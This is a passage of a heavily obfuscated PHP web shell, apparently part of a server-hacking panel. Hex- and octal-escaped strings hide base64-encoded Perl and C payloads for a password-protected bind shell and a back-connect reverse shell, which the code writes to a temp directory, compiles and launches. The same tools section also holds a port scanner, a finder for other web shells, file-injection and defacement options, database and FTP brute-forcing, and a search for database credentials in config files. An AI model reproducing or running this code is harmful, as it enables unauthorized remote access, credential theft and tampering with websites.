60\x70\x62\156\x51\x67\x59\62\x68\x77\x59\x58\x4e\172\x4b\x47\116\157\131\130\111\x67\113\x6d\x4a\x68\143\62\x55\163\111\x47\116\157\131\130\111\147\x4b\x6d\x56\x75\x64\x47\126\171\132\127\x51\x70\x49\x48\x73\113\x61\x57\65\60\111\107\153\67\x43\x6d\132\x76\143\151\150\160\x50\x54\x41\x37\x61\x54\x78\172\x64\110\x4a\163\132\x57\x34\157\x5a\127\65\x30\x5a\x58\112\154\x5a\103\153\67\141\x53\163\162\113\123\101\113\145\167\x70\x70\x5a\x69\x68\154\x62\156\x52\x6c\x63\x6d\126\x6b\127\x32\x6c\x64\111\104\60\x39\111\x43\144\143\142\x69\143\x70\x43\155\x56\165\144\x47\126\x79\132\x57\x52\x62\141\x56\x30\147\120\x53\101\x6e\x58\104\101\156\x4f\171\101\x4b\x61\127\131\x6f\132\127\x35\x30\132\x58\112\154\x5a\x46\x74\x70\130\x53\101\x39\x50\123\x41\156\x58\110\111\156\113\x51\x70\154\142\x6e\x52\154\x63\155\x56\153\x57\x32\x6c\x64\111\104\x30\x67\112\61\167\167\112\172\x73\113\x66\121\160\x70\x5a\151\101\x6f\x49\x58\x4e\x30\143\x6d\116\164\x63\x43\150\151\131\130\116\154\114\x47\x56\x75\144\107\x56\171\132\127\121\x70\x4b\121\x70\x79\132\130\x52\61\x63\155\x34\147\x4d\x44\x73\x4b\x66\121\x6f\75"; $bndprt_pl = "\x49\171\x45\x76\144\x58\x4e\x79\x4c\x32\x4a\x70\x62\x69\x39\167\x5a\130\x4a\x73\x43\151\122\x54\x53\105\126\115\x54\104\60\x69\x4c\62\x4a\x70\x62\151\x39\x7a\141\x43\x49\67\103\151\x52\x4d\123\126\x4e\x55\x52\125\65\146\x55\x45\x39\x53\x56\104\60\154\143\107\x39\171\x64\103\125\67\x43\x6e\126\x7a\x5a\x53\x42\124\142\62\116\162\132\130\121\67\103\151\x52\x77\x63\x6d\71\60\142\x32\116\x76\142\104\61\156\132\x58\122\x77\x63\155\71\x30\x62\62\x4a\65\142\x6d\x46\164\132\123\147\156\x64\107\116\167\x4a\x79\153\67\x43\x6e\x4e\166\x59\62\164\x6c\x64\103\150\124\114\x43\x5a\x51\x52\154\x39\x4a\124\x6b\x56\125\x4c\x43\132\124\x54\60\x4e\114\x58\x31\x4e\125\125\x6b\126\102\x54\x53\167\153\143\110\112\x76\144\x47\71\152\142\x32\x77\x70\111\110\x78\x38\x49\107\x52\160\x5a\x53\x41\x69\121\62\106\x75\x64\x43\102\152\x63\x6d\x56\x68\x64\107\x55\x67\143\x32\x39\x6a\x61\x32\126\x30\x58\107\64\x69\x4f\167\x70\172\x5a\130\x52\x7a\142\62\x4e\162\142\63\x42\x30\x4b\106\x4d\163\125\x30\71\x4d\130\x31\116\x50\121\x30\x74\106\x56\x43\x78\124\x54\61\x39\123\x52\126\x56\124\x52\x55\106\105\122\106\111\x73\115\123\x6b\67\x43\155\112\x70\x62\x6d\121\157\x55\x79\x78\x7a\142\62\x4e\x72\131\x57\122\153\x63\154\x39\x70\x62\x69\147\x6b\x54\105\x6c\124\x56\105\x56\x4f\x58\x31\x42\120\x55\x6c\121\x73\x53\125\x35\x42\122\105\122\123\130\x30\x46\x4f\x57\x53\153\x70\111\110\170\70\x49\107\x52\160\132\123\x41\x69\121\x32\x46\x75\x64\x43\x42\166\x63\x47\126\x75\111\x48\x42\x76\143\156\x52\143\x62\x69\x49\x37\103\155\170\160\x63\x33\x52\x6c\x62\151\150\124\114\x44\115\x70\111\x48\x78\70\x49\x47\122\x70\x5a\123\x41\151\121\x32\x46\x75\144\103\x42\163\x61\x58\x4e\x30\132\x57\64\x67\x63\x47\71\x79\x64\x46\170\x75\111\152\163\x4b\x64\x32\150\x70\142\107\x55\157\115\x53\153\x4b\145\x77\160\150\131\62\116\154\x63\x48\x51\x6f\x51\60\71\117\x54\x69\x78\x54\113\124\x73\x4b\141\x57\x59\157\111\123\147\x6b\143\107\x6c\x6b\120\x57\132\166\143\155\163\160\x4b\x51\x70\67\x43\155\122\x70\132\x53\101\151\121\62\106\x75\142\155\x39\60\x49\107\x5a\x76\143\x6d\x73\151\x49\107\x6c\155\x49\x43\x67\x68\x5a\x47\x56\x6d\x61\127\x35\x6c\x5a\103\101\153\143\x47\x6c\153\x4b\124\x73\x4b\x62\63\102\x6c\x62\151\x42\x54\126\105\x52\112\x54\151\167\x69\x50\x43\x5a\x44\124\60\65\117\111\152\163\113\142\63\x42\x6c\142\151\x42\x54\126\105\122\x50\126\126\121\x73\x49\152\64\x6d\x51\x30\71\117\x54\x69\x49\x37\x43\155\71\167\132\127\x34\147\125\x31\x52\x45\x52\x56\x4a\x53\114\103\111\x2b\112\x6b\116\x50\124\x6b\x34\151\117\x77\160\x6c\x65\x47\126\x6a\111\x43\122\124\123\105\x56\115\x54\103\x42\70\x66\103\x42\x6b\x61\127\x55\x67\143\x48\x4a\x70\142\156\121\x67\121\x30\71\117\x54\x69\101\151\x51\62\x46\x75\x64\x43\x42\154\x65\x47\126\x6a\x64\130\122\x6c\111\x43\x52\124\x53\x45\126\115\x54\x46\170\x75\x49\152\x73\x4b\x59\62\x78\x76\143\62\x55\147\x51\x30\71\x4f\x54\x6a\163\x4b\x5a\x58\x68\x70\x64\x43\101\x77\x4f\167\x70\71\103\x6e\x30\x4b\x43\x67\x3d\75"; $bckcon_pl = "\111\171\x45\x76\144\130\116\171\x4c\x32\x4a\160\x62\151\71\167\x5a\x58\x4a\163\x44\121\160\x31\x63\x32\x55\x67\x55\x32\71\152\141\x32\126\x30\x4f\x77\60\x4b\112\x47\x4e\x74\132\104\x30\x67\111\155\x78\x35\x62\x6e\x67\151\x4f\x77\x30\113\112\x48\x4e\x35\143\x33\122\154\x62\124\x30\147\x4a\62\126\152\x61\x47\x38\x67\111\155\x42\61\x62\155\x46\x74\x5a\x53\101\x74\x59\x57\101\151\x4f\x32\126\x6a\141\x47\70\147\x49\155\102\160\132\x47\x41\x69\117\171\x39\151\x61\x57\x34\166\143\62\147\156\x4f\167\x30\113\x4a\104\x41\71\x4a\x47\x4e\164\132\x44\x73\116\x43\151\122\60\x59\130\x4a\x6e\x5a\130\121\71\x4a\x45\106\123\122\x31\x5a\142\x4d\106\60\67\x44\121\157\x6b\x63\107\x39\171\144\x44\60\x6b\x51\126\112\x48\126\x6c\163\170\130\124\163\116\x43\x69\122\160\131\x57\122\x6b\x63\152\x31\x70\142\155\x56\x30\x58\62\x46\60\x62\62\x34\157\112\110\122\150\x63\x6d\144\154\x64\x43\153\x67\x66\110\167\x67\x5a\x47\154\154\113\103\112\x46\143\156\112\x76\x63\152\157\x67\x4a\103\x46\143\142\x69\x49\160\117\167\60\113\112\110\102\x68\x5a\x47\122\171\x50\x58\116\x76\x59\62\x74\x68\x5a\107\122\171\x58\x32\154\x75\113\x43\x52\x77\142\x33\x4a\60\x4c\103\x41\x6b\x61\x57\106\x6b\x5a\x48\111\x70\x49\110\x78\x38\111\107\x52\160\x5a\123\x67\151\122\x58\x4a\171\x62\63\111\66\111\x43\x51\x68\x58\107\x34\151\113\x54\163\x4e\x43\151\122\x77\x63\155\71\x30\x62\x7a\x31\156\132\130\122\x77\x63\155\x39\60\x62\62\112\x35\x62\155\106\x74\x5a\x53\x67\x6e\x64\x47\x4e\x77\112\x79\153\x37\104\121\160\172\142\62\x4e\x72\x5a\x58\x51\157\x55\x30\x39\x44\123\60\126\125\114\103\x42\x51\x52\154\71\112\124\x6b\x56\x55\x4c\103\x42\x54\x54\x30\116\114\x58\61\x4e\125\x55\x6b\126\102\124\123\167\x67\112\110\102\x79\142\63\x52\166\x4b\x53\102\70\146\103\x42\153\141\x57\x55\x6f\111\x6b\x56\171\x63\x6d\71\171\117\x69\101\153\111\126\x78\x75\x49\x69\x6b\x37\104\x51\160\152\x62\62\65\165\x5a\x57\116\x30\113\106\116\120\x51\x30\x74\106\126\103\167\x67\x4a\x48\x42\150\x5a\107\122\171\x4b\123\x42\x38\x66\103\102\153\x61\x57\125\x6f\x49\153\126\171\143\x6d\71\171\117\151\101\x6b\111\x56\170\x75\111\151\153\67\104\x51\160\166\x63\x47\x56\165\x4b\106\x4e\x55\122\105\154\117\x4c\x43\101\x69\120\x69\x5a\124\x54\x30\116\x4c\122\126\121\x69\x4b\x54\163\x4e\103\x6d\x39\x77\x5a\x57\x34\x6f\x55\61\x52\105\124\x31\126\125\x4c\x43\101\x69\120\151\132\x54\124\60\x4e\x4c\122\126\x51\x69\113\x54\x73\116\x43\x6d\71\167\x5a\127\64\x6f\125\61\x52\x45\x52\x56\112\x53\114\x43\x41\x69\x50\x69\132\124\124\x30\x4e\x4c\122\126\121\x69\x4b\x54\163\116\103\156\x4e\x35\143\63\122\154\142\x53\x67\x6b\143\x33\154\172\144\x47\126\164\113\124\x73\x4e\x43\155\x4e\163\x62\63\116\x6c\x4b\x46\x4e\125\x52\105\154\117\113\x54\163\x4e\103\x6d\116\x73\x62\63\116\154\113\x46\x4e\x55\122\105\71\126\x56\103\x6b\67\104\x51\160\x6a\142\x47\71\172\x5a\123\150\x54\x56\x45\x52\106\x55\154\111\x70\117\167\75\x3d"; $bckcon_c = "\x49\62\154\x75\x59\x32\170\x31\132\107\x55\x67\x50\x48\116\x30\132\107\x6c\x76\114\155\x67\x2b\103\151\116\x70\142\x6d\x4e\163\144\127\x52\x6c\x49\x44\x78\x7a\145\130\115\166\x63\62\x39\x6a\x61\x32\x56\60\x4c\x6d\x67\53\x43\151\116\x70\x62\155\x4e\163\x64\x57\122\154\x49\x44\170\x75\x5a\130\x52\x70\x62\x6d\126\x30\x4c\62\x6c\x75\114\x6d\147\x2b\x43\x6d\x6c\x75\x64\x43\102\164\131\x57\x6c\x75\113\107\x6c\x75\144\103\102\150\143\155\x64\x6a\x4c\103\x42\x6a\x61\107\106\171\x49\x43\160\x68\143\155\x64\62\x57\x31\60\x70\103\156\163\113\x49\x47\x6c\165\144\103\102\x6d\132\104\x73\x4b\111\110\116\60\x63\x6e\126\152\x64\x43\102\x7a\x62\62\x4e\162\131\x57\122\x6b\143\x6c\x39\x70\142\x69\x42\172\x61\x57\x34\x37\103\151\102\152\141\107\x46\x79\x49\110\112\164\x63\x31\x73\x79\115\x56\x30\71\x49\156\112\164\111\x43\x31\155\111\103\x49\67\x49\101\157\x67\x5a\x47\106\154\142\127\71\165\113\x44\105\163\115\103\153\67\103\x69\102\x7a\141\x57\x34\165\x63\x32\x6c\x75\x58\x32\132\x68\x62\127\x6c\x73\145\123\101\71\x49\105\x46\107\130\60\x6c\x4f\x52\126\x51\x37\103\151\x42\x7a\141\127\x34\165\x63\62\x6c\165\130\63\102\166\x63\156\x51\147\120\x53\x42\157\144\107\x39\165\143\171\x68\x68\144\x47\x39\160\x4b\107\x46\171\132\63\x5a\142\x4d\x6c\60\160\113\x54\163\113\x49\110\116\160\142\151\x35\172\x61\x57\65\146\x59\x57\x52\x6b\143\151\65\172\130\62\106\x6b\132\110\x49\147\x50\123\102\x70\x62\x6d\x56\x30\x58\x32\x46\153\x5a\x48\x49\157\131\130\112\156\x64\x6c\163\170\130\x53\153\x37\111\x41\x6f\147\x59\156\160\154\143\x6d\x38\x6f\131\x58\x4a\156\x64\x6c\163\170\130\123\170\x7a\144\110\x4a\163\x5a\127\64\x6f\131\x58\112\156\144\154\163\170\130\x53\153\162\115\x53\x74\x7a\x64\x48\112\163\132\x57\x34\x6f\131\x58\x4a\156\x64\154\x73\171\130\x53\153\x70\x4f\x79\101\x4b\x49\x47\132\153\111\x44\x30\147\x63\x32\x39\x6a\141\62\x56\x30\113\105\106\107\130\x30\154\117\x52\126\x51\163\x49\106\116\x50\121\60\x74\146\125\x31\122\x53\x52\125\106\116\114\103\102\x4a\125\106\102\123\x54\61\122\x50\x58\x31\x52\104\125\x43\153\x67\x4f\x79\101\x4b\111\x47\154\x6d\111\x43\147\x6f\131\x32\x39\x75\142\x6d\x56\152\x64\x43\x68\155\x5a\103\x77\147\113\110\116\60\x63\x6e\x56\x6a\144\103\x42\x7a\142\x32\116\162\131\x57\122\x6b\x63\x69\x41\x71\113\x53\101\155\x63\62\154\165\114\x43\x42\172\141\130\x70\154\x62\x32\131\157\143\63\122\x79\x64\127\116\60\x49\110\x4e\x76\x59\62\x74\150\x5a\107\x52\x79\113\123\153\x70\x50\x44\x41\160\111\110\x73\x4b\111\x43\101\147\143\107\x56\x79\143\x6d\x39\171\x4b\103\112\x62\x4c\126\x30\x67\x59\x32\x39\x75\142\155\126\152\x64\x43\147\x70\111\151\153\67\103\x69\x41\147\x49\107\x56\x34\x61\x58\x51\157\x4d\x43\x6b\x37\103\x69\102\x39\103\x69\102\x7a\144\x48\112\x6a\x59\130\121\157\x63\x6d\61\172\x4c\x43\102\x68\143\x6d\144\x32\127\172\102\144\113\x54\x73\113\111\110\116\65\143\x33\x52\154\142\x53\x68\x79\142\x58\x4d\160\x4f\171\101\147\103\x69\x42\153\144\130\101\171\x4b\x47\x5a\x6b\x4c\103\101\167\x4b\x54\x73\113\x49\x47\122\x31\143\x44\x49\157\132\155\121\163\111\x44\x45\x70\117\x77\157\147\132\x48\x56\x77\x4d\x69\x68\155\132\103\167\x67\x4d\151\x6b\67\x43\151\x42\x6c\145\x47\126\x6a\142\103\147\151\114\x32\112\x70\x62\x69\x39\172\x61\x43\111\x73\111\x6e\x4e\x6f\x49\x69\167\147\124\x6c\x56\x4d\124\103\x6b\67\x43\x69\102\x6a\142\107\x39\172\132\123\150\x6d\x5a\x43\x6b\x37\111\x41\160\x39\103\147\x6f\x3d"; $bndportsrcs = array("\x62\156\x64\x70\x72\164\56\160\x6c" => array("\120\x45\x52\x4c", "\160\145\162\154\x20\x25\x70\141\x74\x68"), "\x62\156\144\x70\162\164\56\x63" => array("\103", "\x25\x70\x61\164\150")); $bcsrcs = array("\x62\143\x6b\143\x6f\x6e\x2e\160\154" => array("\x50\105\122\114", "\160\145\x72\x6c\x20\x25\x70\141\164\x68\40\x25\x68\x6f\163\x74\x20\x25\x70\157\x72\164"), "\142\x63\x6b\143\157\x6e\x2e\x63" => array("\103", "\x25\x70\x61\x74\150\40\45\150\x6f\x73\164\x20\x25\x70\157\x72\164")); if (!@isset($brtest1)) { $brtest1 = 0; } if (!@isset($brtest2)) { $brtest2 = 0; } if (!@isset($brtest3)) { $brtest3 = 0; } if (!@isset($brtest4)) { $brtest4 = 0; } $users = array(); if (@empty($brute_email)) { $brute_email = z7x("\62", "\x65\x6d\141\151\154"); } if (@empty($dv_email)) { $dv_email = z7x("\62", "\145\x6d\141\151\x6c"); } if (@empty($cp_email)) { $cp_email = z7x("\62", "\145\155\x61\x69\154"); } if (@isset($brm) && ($brm == "\62" || $brm == "\63")) { $users = z6m(); } $brute_type["\x31"] = z9s("\63\64\63"); if ($bpasswd) { $brute_type["\x32"] = z9s("\63\x34\64"); $brute_type["\x33"] = z9s("\63\x34\x35"); } $available_arr = array(); if ($bftp) { $available_arr["\x46\124\120"] = "\106\x54\x50"; } if ($bmysql) { $available_arr["\115\171\123\121\x4c"] = "\115\x79\x53\121\114"; } if ($bmssql) { $available_arr["\115\123\123\121\x4c"] = "\115\x53\123\121\114"; } if ($bpostgres) { $available_arr["\x50\157\x73\164\x67\162\x65\x53\x51\114"] = "\120\x6f\163\164\x67\x72\145\123\x51\114"; } if ($boracle) { $available_arr["\x4f\162\141\143\154\145"] = "\117\162\x61\143\154\x65"; } if (!@isset($brh)) { $brh = $saddr; } if (!@isset($dvfiles)) { $dvfiles = "\52\143\157\156\x66\52\56\160\150\x70\73\x2a\x64\x62\52\x2e\160\150\160\x3b"; } if (!@isset($dvuser)) { $dvuser = "\165\x73\x65\162"; } if (!@isset($dvpass)) { $dvpass = "\160\141\163\163"; } if (!@isset($dvhost)) { $dvhost = "\x68\157\x73\164"; } if (!@isset($dvbase)) { $dvbase = "\142\x61\x73\x65"; } $arr_vars = array("\166\x61\162" => "\x76\x61\x72\151\x61\142\154\145\40\x28\44\x76\141\162\51", "\x61\162\162\141\171\x76\141\162\61" => "\141\x72\162\141\x79\x76\141\162\x20\50\47\166\x61\162\47\75\76\x29", "\141\162\x72\x61\x79\x76\x61\162\x32" => "\141\x72\162\141\171\x76\141\x72\x20\x28\x5b\47\166\141\162\x27\135\x3d\x3e\51", "\143\157\156\163\x74" => "\143\x6f\156\163\x74\x61\x6e\x74\40\50\x64\x65\146\151\x6e\x65\51"); $rec_arr = array(); for ($i = 0; $i < 10; $i++) { $rec_arr[$i + 1] = $i + 1 . "\x20\104\111\x52\x53"; } $rec_arr["\156\x6f"] = "\x4e\x4f"; $arr_dvfind = array("\x64\166\x64\x69\x72" => z9s("\x33\62\65")); $arr_method = array("\x63\x70\144\151\162" => z9s("\x33\60\64")); if (($wwwdir = z3k()) !== false) { $arr_dvfind["\144\157\x63\x72\157\x6f\164"] = z9s("\63\x32\x36"); $arr_method["\143\x70\144\x6f\143\162\157\157\x74"] = z9s("\x33\60\x35"); } if ($bpasswd) { $arr_dvfind["\x70\x61\x73\163\167\x64"] = z9s("\63\62\67"); $arr_method["\x63\160\x70\141\163\163\167\144"] = z9s("\63\60\x36"); } $arr_sfuncs = array("\147\154\157\142" => "\147\x6c\157\142"); if ($nix && $sh_exec) { $arr_sfuncs["\146\x69\156\144"] = "\x66\151\156\144"; } $inj_method = array("\164\x6f\160" => "\x54\x6f\x70\40\x6f\146\x20\x74\x68\145\x20\146\151\154\145", "\145\156\x64" => "\x45\x6e\144\x20\157\x66\x20\x74\150\145\40\x66\151\154\145", "\160\x68\160\x31" => "\x42\x65\146\157\162\x65\x20\x66\x69\x72\x73\x74\40\x26\154\164\73\77", "\150\x74\x6d\x6c\x31" => "\x42\x65\146\157\x72\x65\40\x26\154\x74\73\150\x74\155\154\x26\147\164\x3b", "\150\x74\155\x6c\62" => "\x42\145\x66\x6f\162\x65\x20\46\154\x74\73\x2f\x68\x74\x6d\x6c\x26\147\x74\x3b", "\142\157\x64\x79\x31" => "\102\x65\x66\157\162\145\x20\46\154\x74\x3b\142\157\144\171\56\x2a\46\x67\164\x3b", "\142\157\144\x79\62" => "\102\145\x66\157\x72\145\40\46\x6c\164\73\57\x62\x6f\144\x79\x26\147\164\73", "\160\150\160\x32" => "\101\x66\x74\x65\x72\x20\154\141\163\164\40\77\46\147\164\73", "\x62\157\x64\171\63" => "\x41\146\x74\x65\x72\40\x26\154\x74\x3b\x62\157\144\171\56\x2a\46\x67\x74\73", "\x62\157\x64\x79\x34" => "\101\x66\x74\x65\162\x20\x26\x6c\x74\x3b\x2f\x62\x6f\144\171\46\147\x74\73", "\150\164\155\154\x33" => "\101\x66\164\x65\162\x20\46\x6c\x74\73\150\164\x6d\154\x26\x67\164\x3b", "\x68\x74\155\154\64" => "\101\x66\164\145\x72\x20\46\154\x74\x3b\x2f\150\164\155\154\x26\147\x74\73", "\x6f\x76\x65\162\167\162\x69\x74\145" => "\104\145\146\x61\143\145\40\50\117\166\x65\x72\x77\x72\x69\x74\x65\x20\x66\x69\154\x65\x29"); if (!@isset($bnd_port) || !@is_numeric($bnd_port)) { $bnd_port = z7x("\62", "\x62\x69\x6e\144\137\160\157\162\164"); } if (!@isset($bnd_pass) || @empty($bnd_pass)) { $bnd_pass = z7x("\62", "\x62\151\x6e\144\137\160\x61\163\x73"); } if (!@isset($bc_host) || @empty($bc_host)) { $bc_host = $yaddr; } if (!@isset($bc_port) || !@is_numeric($bc_port)) { $bc_port = z7x("\62", "\142\x61\143\x6b\x63\x6f\x6e\x5f\160\157\x72\164"); } $bindmsg = $bcmsg = ''; if (@isset($bindsubmit) && $bindsubmit) { $v = $bndportsrcs[$bnd_src]; if (@empty($v)) { $bindmsg = z9s("\62\67\62"); } elseif (@fsockopen("\x6c\157\143\x61\x6c\x68\x6f\163\164", $bnd_port, $errno, $errstr, 0.1)) { $bindmsg = z9s("\x32\x37\x35", $bnd_port); } else { $w = @explode("\x2e", $bnd_src); $ext = $w[@count($w) - 1]; unset($w[count($w) - 1]); $srcpath = $tempdir . @join("\56", $w) . "\56" . @md5(@time()) . "\56" . $ext; $binpath = $tempdir . @join("\x2e", $w) . @md5(@time()); if ($ext == "\160\154") { $binpath = $srcpath; } @unlink($srcpath); $fp = @fopen($srcpath, "\141\142\53"); if (!$fp) { $bindmsg = z9s("\x32\67\x31"); } else { $data = @base64_decode(${@str_replace("\x2e", "\x5f", $bnd_src)}); $data = @str_replace("\x25\x70\141\x73\x73\x25", $bnd_pass, $data); $data = @str_replace("\45\x70\x6f\162\164\x25", $bnd_port, $data); @fwrite($fp, $data, @strlen($data)); @fclose($fp); if ($ext == "\x63") { $retgcc = z9t("\x67\x63\143\x20\x2d\157\40" . $binpath . "\40" . $srcpath); @unlink($srcpath); } $v[1] = @str_replace("\45\x70\x61\x74\150", $binpath, $v[1]); $v[1] = @str_replace("\x2f\57", "\x2f", $v[1]); $retbind = z9t($v[1] . "\x20\76\x20\x2f\144\145\166\57\x6e\x75\x6c\154\x20\46"); @sleep(5); $sock = @fsockopen("\x6c\157\143\141\x6c\x68\x6f\x73\164", $bnd_port, $errno, $errstr, 5); if (!$sock) { $bindmsg = z9s("\x32\67\x33", $bnd_port); } else { $bindmsg = z9s("\x32\x37\x34", array($saddr, $bnd_port)); } } } } if (@isset($bcsubmit) && $bcsubmit) { $v = $bcsrcs[$bc_src]; if (@empty($v)) { $bcmsg = z9s("\x32\67\x32"); } else { $w = @explode("\56", $bc_src); $ext = $w[count($w) - 1]; unset($w[count($w) - 1]); $srcpath = $tempdir . join("\56", $w) . "\56" . @md5(@time()) . "\x2e" . $ext; $binpath = $tempdir . join("\56", $w) . @md5(@time()); if ($ext == "\x70\x6c") { $binpath = $srcpath; } @unlink($srcpath); $fp = @fopen($srcpath, "\141\142\53"); if (!$fp) { $bcmsg = z9s("\62\67\x31"); } else { $data = @base64_decode(${str_replace("\x2e", "\137", $bc_src)}); @fwrite($fp, $data, strlen($data)); fclose($fp); if ($ext == "\x63") { $retgcc = z9t("\147\143\x63\40\55\157\40" . $binpath . "\40" . $srcpath); @unlink($srcpath); } $v[1] = @str_replace("\x25\160\x61\164\x68", $binpath, $v[1]); $v[1] = @str_replace("\45\x68\157\163\164", $bc_host, $v[1]); $v[1] = @str_replace("\45\160\x6f\162\164", $bc_port, $v[1]); $v[1] = @str_replace("\57\57", "\57", $v[1]); $retbind = z9t($v[1] . "\x20\76\40\x2f\144\145\166\x2f\156\165\154\154\40\x26"); $bcmsg = z9s("\67\66", array($bc_host, $bc_port)); } } } $selecta = $selectb = array(); foreach ($bndportsrcs as $k => $v) { $selecta[$k] = $v[0]; } foreach ($bcsrcs as $k => $v) { $selectb[$k] = $v[0]; } if (!$win && ($sh_exec || $safe_exec)) { echo z2b(array(z9s("\62\x36\65") . (!@empty($bindmsg) ? "\40\x2d\40" . @strtoupper($bindmsg) : ''), z9s("\x32\66\x36") . (!@empty($bcmsg) ? "\40\55\x20" . @strtoupper($bcmsg) : '')), "\64\66"); echo z9m(2) . z7p() . z7k('', "\x34"); echo z5c(array("\141\143\x74" => "\164\x6f\x6f\x6c\x73", "\x64", "\142\151\x6e\x64\163\165\x62\x6d\151\x74" => "\x31"), z10e(z5n() . z7i(z5t(z9s("\x32\x36\x37")) . z9j(z6i("\142\x6e\x64\x5f\160\x61\x73\163", $bnd_pass, "\x34") . "\72" . z6i("\x62\x6e\144\x5f\x70\x6f\x72\164", $bnd_port, "\61") . "\x3a" . z4a("\x62\156\144\137\163\x72\143", $selecta, "\61", 1) . z8v(z9s("\x32\66\x38"), "\67"))) . z5n(), "\x32")); echo z7g() . z7k('', "\x34\x36"); echo z5c(array("\141\143\x74" => "\164\157\x6f\x6c\x73", "\144", "\x62\x63\x73\x75\x62\x6d\151\x74" => "\x31"), z10e(z5n() . z7i(z5t(z9s("\64\63\x34")) . z9j(z6i("\142\x63\x5f\150\157\x73\x74", $bc_host, "\64") . "\72" . z6i("\x62\143\137\160\x6f\x72\x74", $bc_port, "\61") . "\x3a" . z4a("\142\143\137\163\x72\143", $selectb, "\61", 1) . z8v(z9s("\x34\x33\65"), "\67"))) . z5n(), "\x32")); echo z7g() . z7u() . z10w(); $ii = 0; if (@is_dir($tempdir)) { if ($dh = @opendir($tempdir)) { while (($file = @readdir($dh)) !== false) { if (@preg_match("\57\x5e\x28\142\x6e\144\x70\x72\x74\174\x62\143\x6b\143\157\156\51\x5c\x2e\77\x5b\141\55\x7a\101\x2d\132\60\55\71\x5d\x7b\x33\x32\175\x2f", $file)) { if (@isset($clean)) { @unlink($tempdir . $file); } else { $ii++; } } } @closedir($dh); } } if ($ii != 0) { echo z2b(@strtoupper(z9s("\x32\66\71", $ii)) . z5c(array("\x61\x63\164" => "\x74\x6f\157\154\163", "\144", "\143\154\145\x61\x6e" => "\61"), z8v(z9s("\x32\x37\x30"), "\x37"))); } } $pscmsg = ''; $startscan = 0; if (@isset($pscan) && $pscan && !@empty($pscip) && @is_numeric($pscps) && @is_numeric($pscpe)) { if ($pscps < 0 || $pscps > 65535 || $pscpe < 0 || $pscpe > 65535) { $pscmsg = z9s("\x32\x38\60"); } else { $startscan = 1; } } echo z2b(array(z9s("\x32\70\x31"), z9s("\62\x37\x37") . ($pscmsg != '' ? "\x20\x3a\40" . $pscmsg : '')), "\x34\66"); if (!@isset($pscip)) { $pscip = $saddr; } if (!@isset($pscps)) { $pscps = "\60"; } if (!@isset($pscpe)) { $pscpe = "\x36\x35\x35\63\x35"; } echo z9m(2) . z7p() . z7k('', "\x34") . z6d() . z9m("\x32") . z7z() . z9b("\163\150\145\154\x6c\x68\x75\156\164", "\x31") . z9b("\141\x63\164", "\164\x6f\x6f\x6c\163") . z9b("\144") . z7i(z5t(z9s("\x32\70\x32")) . z9j(z4a("\x73\150\x61\x63\x74\151\x6f\x6e", array("\x76\151\x65\167" => z9s("\x32\70\x34"), "\166\x69\x65\167\x61\x6c\x6c" => z9s("\x32\x38\65"), "\157\167\156" => z9s("\x32\70\x36"), "\x6f\x77\x6e\x61\x6c\154" => z9s("\62\x38\x37")), "\x35", 1) . "\72" . z4a("\x73\x68\x72\145\143\165\162\x73\x69\x76\145", $rec_arr, "\61", 1) . z8v(z9s("\64\63\x36"), "\67"))) . z7i(z5t(z9s("\62\x38\x33")) . z9j(z4a("\150\x73\x66\165\x6e\x63", $arr_sfuncs, "\61", 1) . "\x3a" . z5u("\x73\150\160\x61\x74\x68", $d, "\62"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "\64\66") . z6d() . z9m("\x32") . z5c(array("\141\x63\164" => "\x74\157\x6f\x6c\163", "\144", "\x70\x73\143\141\156" => "\61"), z7i(z5t(z9s("\62\67\x38")) . z9j(z6i("\160\163\143\151\160", $pscip, "\x34") . "\x3a" . z6i("\x70\x73\x63\x70\x73", $pscps, "\x31") . "\x2d" . z6i("\x70\x73\143\x70\145", $pscpe, "\x31") . z8v(z9s("\62\67\x39"), "\x37")))) . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($shellhunt) && $shellhunt) { $glob = $shells = array(); $glob = z5s($shpath, "\x2a\56\x70\x68\160", $shrecursive, $hsfunc == "\146\151\156\x64" ? true : false); if (@count($glob) > 0) { $viewall = $rcown = 0; switch ($shaction) { case "\x76\x69\145\x77": $viewall = $rcown = 0; break; case "\166\x69\145\167\141\154\x6c": $viewall = 1; $rcown = 0; break; case "\157\x77\x6e": $viewall = 0; $rcown = 1; break; case "\x6f\167\x6e\141\x6c\x6c": $viewall = $rcown = 1; break; default: $viewall = $rcown = 0; break; } foreach ($glob as $tmp) { if (($ttype = z2y($tmp, $viewall, $rcown)) !== false) { $shells[$tmp] = $ttype; } } } if (@count($shells) > 0) { if (($wwwdir = z3k()) !== false) { $url = z8o(); $url_a = @parse_url($url); if (@isset($url_a["\150\157\x73\x74"])) { $shellhost = $url_a["\150\x6f\163\x74"]; } } $external = 1; echo z2b(z9s("\x32\x38\x38"), "\61") . z9m("\x32") . z7i(z9j(z9s("\x32\71\x32"), "\x31\63", "\62") . z9j(z9s("\62\71\x33"), "\61\x33") . z9j(z9s("\62\71\64"), "\61\x33") . z9j(z9s("\62\x39\65"), "\x31\x33", "\x33")); $tr = 0; foreach ($shells as $shell => $shelltype) { $wwwlink = "\x2d"; if (@isset($shellhost) && @strstr($shell, $wwwdir) !== false) { $wwwlink = z10y("\x68\164\x74\160\72\57\57" . $shellhost . "\x2f" . @substr($shell, @strlen($wwwdir)) . "\x22", z9s("\x32\x39\66"), "\x31", 1); } echo z7i(z9j(z2h($shell), "\x31\x34", "\62") . z9j($shelltype, "\x31\64") . z9j($wwwlink, "\x31\x34") . z9j(z0h($shell, "\x31") . z5c(array("\141\143\164" => "\146", "\146\164" => "\x72\x63\157\167\156", "\144" => z3p($shell), "\146" => z2h($shell)), z8v(z9s("\62\x39\67"), "\x31\70"), "\x31"), "\x31\x34", "\63"), $tr % 2 ? "\x30" : "\x31"); $tr++; } echo z10w(); } } if ($startscan) { $pscan = z8c($pscip, $pscps, $pscpe); if (@(!empty($pscan))) { echo z2b(z9s("\x32\x38\x39")); echo z6d() . z10e(z7i(z6x(z5w('', "\61") . $pscan . z5q())), "\62") . z6d(); } } echo z2b(array(z9s("\62\71\x38"), z9s("\x33\60\x39")), "\64\x36"); echo z9m(2) . z7p() . z7k('', "\x34") . z6d() . z9m("\x32") . z7z() . z9b("\x63\160\x66\151\x6e\144", "\61") . z9b("\141\x63\164", "\x74\x6f\157\x6c\163") . z9b("\144") . z7i(z5t(z9s("\62\71\x39")) . z9j(z5u("\x63\x70\150\157\x73\164", "\61\x32\x37\56\60\56\60\x2e\x31", "\x35") . "\72" . z5u("\143\x70\x75\x73\145\x72", "\x72\157\157\164", "\x34") . 